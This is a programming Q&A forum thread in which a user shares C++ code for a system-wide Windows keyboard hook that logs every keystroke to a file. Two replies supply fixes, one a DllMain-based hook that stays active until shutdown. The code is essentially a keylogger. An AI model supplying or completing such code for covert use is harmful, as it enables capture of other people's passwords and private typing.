Click here to Skip to main content
15,885,278 members
Please Sign up or sign in to vote.
0.00/5 (No votes)
I have been trying to make Global Keyboard hook program in visual C++ that writes keystrokes to a file "log.txt"..I am new to windows programming and i have gone through the msdn library to get an understanding of hooks....I think i have understood the concept theoretically but when i implement the code, it doesn't seem towork..The compiler doesn't show any error in both the DLL file and EXE file....Moreover the text file "log.txt" never gets created...
Here are the code files

First the DLL file:
C++
#include <windows.h>
#include <stdio.h>

HHOOK g_hhk;

__declspec(dllexport) LRESULT CALLBACK KeyProc(int nCode, WPARAM wParam, LPARAM lParam)
{
	if(nCode>=0)
	{
		char ch;
		FILE *fp;
		fp=fopen("log.txt","a");
	if((wParam==VK_SPACE)||(wParam==VK_RETURN)||(wParam>=0x2f ) &&(wParam<=0x100))
	{
	if(wParam==VK_RETURN)
		ch='\n';
		fwrite(&ch,1,1,fp);
	}
	else
	{
		BYTE ks[256];
		GetKeyboardState(ks);

		WORD w;

		UINT scan;

		scan=0;

		ToAscii(wParam,scan,ks,&w,0);

		ch =char(w);

        fwrite(&ch,1,1,fp);  // copy character to log file
	}
	fclose(fp);
	}
return CallNextHookEx(g_hhk, nCode, wParam, lParam);
}



Now the EXE file:

C++
#include <windows.h>

HOOKPROC hkprckb;
static HINSTANCE hinstDLL; 
static HHOOK hhookkb;

int WINAPI WinMain(HINSTANCE hInstance1,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nShowCmd)
{
	hinstDLL=LoadLibrary(TEXT("C:\\Documents and Settings\\Attar Singh\\My Documents\\Visual Studio 2008\\Projects\\key\\Debug\\key.dll"));
	hkprckb=(HOOKPROC)GetProcAddress(hinstDLL,"KeyProc");
	hhookkb=SetWindowsHookEx( 
                    WH_KEYBOARD_LL,
                    hkprckb,
                    hinstDLL,
                    0); 


	
	MessageBox(NULL,NULL,NULL,MB_OK);
	return 1;
}


This program is giving me nightmares...Any sort of help will be greatly appreciated...thanks in advance...!!
Posted
Updated 30-Jul-11 2:14am
v2

You need to store the HHOOK variable in a shared data segment.
Create it using the #data_seg directive.
Take a look at my article - Mousey! Roll Over and Park[^]
 
Share this answer
 
Try this:
////////////////////
// DLL

HHOOK        __hhook = 0;

LRESULT FAR PASCAL KeyProc(int nCode, WPARAM wParam, LPARAM lParam)
{
  // do the things you want
  return CallNextHookEx(__hhook,nCode,wParam,lParam);
}

int FAR PASCAL DllMain(HANDLE hModule,unsigned long r,void* p)
{
  switch(r)
  {
    case DLL_PROCESS_ATTACH:
      __hhook = SetWindowsHookEx( WH_KEYBOARD_LL,KeyProc,hModule,0); 
    break;
    case DLL_PROCESS_DETACH:
      UnhookWindowsHookEx(__hhook);
    break;
    case DLL_THREAD_ATTACH: break;
    case DLL_THREAD_DETACH: break;
  }
  return 1;
}



////////////////////
// EXE
int FAR PASCAL WinMain(HINSTANCE h,HINSTANCE p,LPSTR c,int sw)
{
  HINSTANCE  hdll = LoadLibrary(TEXT("key.dll"));
  MessageBox(0,__TEXT("wait..."),__TEXT("keyhook"),MB_OK);
  FreeLibrary(hdll);
  return 1;
}

You have nothing to export only load the DLL. The function is injected to every process and DllMain is called. But remember the hook will stay until windows shut down. Otherwise you should send a signal (i.e. an event object or a special keystoke) to unkook and terminate.
Good luck.
 
Share this answer
 

This content, along with any associated source code and files, is licensed under The Code Project Open License (CPOL)

  Print Answers RSS
Top Experts
Last 24hrsThis month


CodeProject, 20 Bay Street, 11th Floor Toronto, Ontario, Canada M5J 2N8 +1 (416) 849-8900